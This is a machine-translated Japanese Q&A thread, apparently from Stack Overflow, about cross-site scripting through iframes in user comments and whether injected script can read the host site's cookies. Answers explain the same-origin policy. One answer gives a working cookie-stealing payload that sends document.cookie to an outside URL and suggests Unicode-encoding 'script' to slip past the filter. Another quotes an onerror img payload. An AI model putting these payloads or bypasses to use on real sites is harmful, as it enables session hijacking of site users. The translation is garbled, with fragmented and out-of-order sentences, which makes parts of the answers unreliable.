2011-11-28 14 views
7

私はクロスサイトスクリプティングを試しています。私は、ユーザーがコメントを挿入してウェブサイトで見ることを可能にするウェブサイトを持っています。コメントから文字列「スクリプト」をフィルタリングしますが、iframeを許可します。私が作ったウェブサイトを指し示すiframeを埋め込むことができ、私が望むスクリプトを実行できることを理解しています。私の質問です:私のiframeスクリプトは元のウェブサイトによって開始されたクッキーを読むことができますか?私は警告(document.cookie)を試みましたが、警告が何も表示されません。元のウェブサイトは、クライアントが要求したときに常にクッキーを設定します。私の欠点は何ですか?iframeによるクロスサイトスクリプティング

+1

を試すことができますすることができますので、ワードスクリプトをエンコードしたいですiframe(同じdoimainの両方のページ)、 'parent'オブジェクトを使用します。 'parent.document.cookie' –

答えて

9

どちらも周囲のページには、同じドメインから来ている必要があります。これは同じ原点ポリシーによって制限されています。つまり、1つのフレームのスクリプトは、同じプロトコル上にあり、まったく同じドメイン名を持ち、同じポート上で実行されている場合にのみ、別のフレームのデータにアクセスできます。両方のフレームでdocument.domainを最上位レベルのドメインに設定することで、わずかに緩和でき、サブドメインのフレームが通信できるようになります。

新しいブラウザではブロックされている可能性がありますが、入力しようとしても問題ありません。

制限スクリプトは、XSSを停止するのに十分ではありません。他にもたくさんの方法があります。 http://html5sec.orgおよびhttp://ha.ckers.org/xss.html

+0

私が正しく理解していれば、ドキュメントiframeを設定するのは、iframeの問題です。ドメイン、そうですか? *(親ドキュメント内で実行するとネットワークエラーが返されるため)* – user2284570

0

私の知る限り、iframeのドメインとオリジナルのウェブサイトのドメインが異なる場合、iframeは元のウェブサイトにアクセスできませんが、other problemsがあります。あなたはHTML Purifierのように代を使用したい場合があり

(例。<img src="asdf" onerror="alert(document.cookie)"/>をコメントクラッカー)....

1

Cookieは同じ発信元ポリシーに従います。攻撃ウェブサイトと被害者ウェブサイト(iframeを開くことができる)が同じホストを持っている場合、document.cookieを実行すると、クッキー情報が表示されます。 あなたのケースでは、それらはdiffドメインのように見えるので、cookie stealingは不可能です。 XSSのより良い方法を防ぐには、コアjstlライブラリのC:outタグを使用することです。

3

XSSのペイロードとしてクッキーを使用しようとしているように聞こえましたか?

あなたは実際にクッキーを盗もうとしていますか?

しかし、サイトでコメントを挿入して「スクリプト」を削除するだけの場合は、coookie stealingスクリプトを含むXSSを挿入するための選択肢がたくさんあります。

この

javascript:img=new Image();img.src="http://yoursite.com?cookie="+document.cookie; 

試してみてくださいしかし、あなたは、あなたが代わりにあなたから親ページにアクセスするには

スクリプト

またはUnicode 73 63 72 69 70 74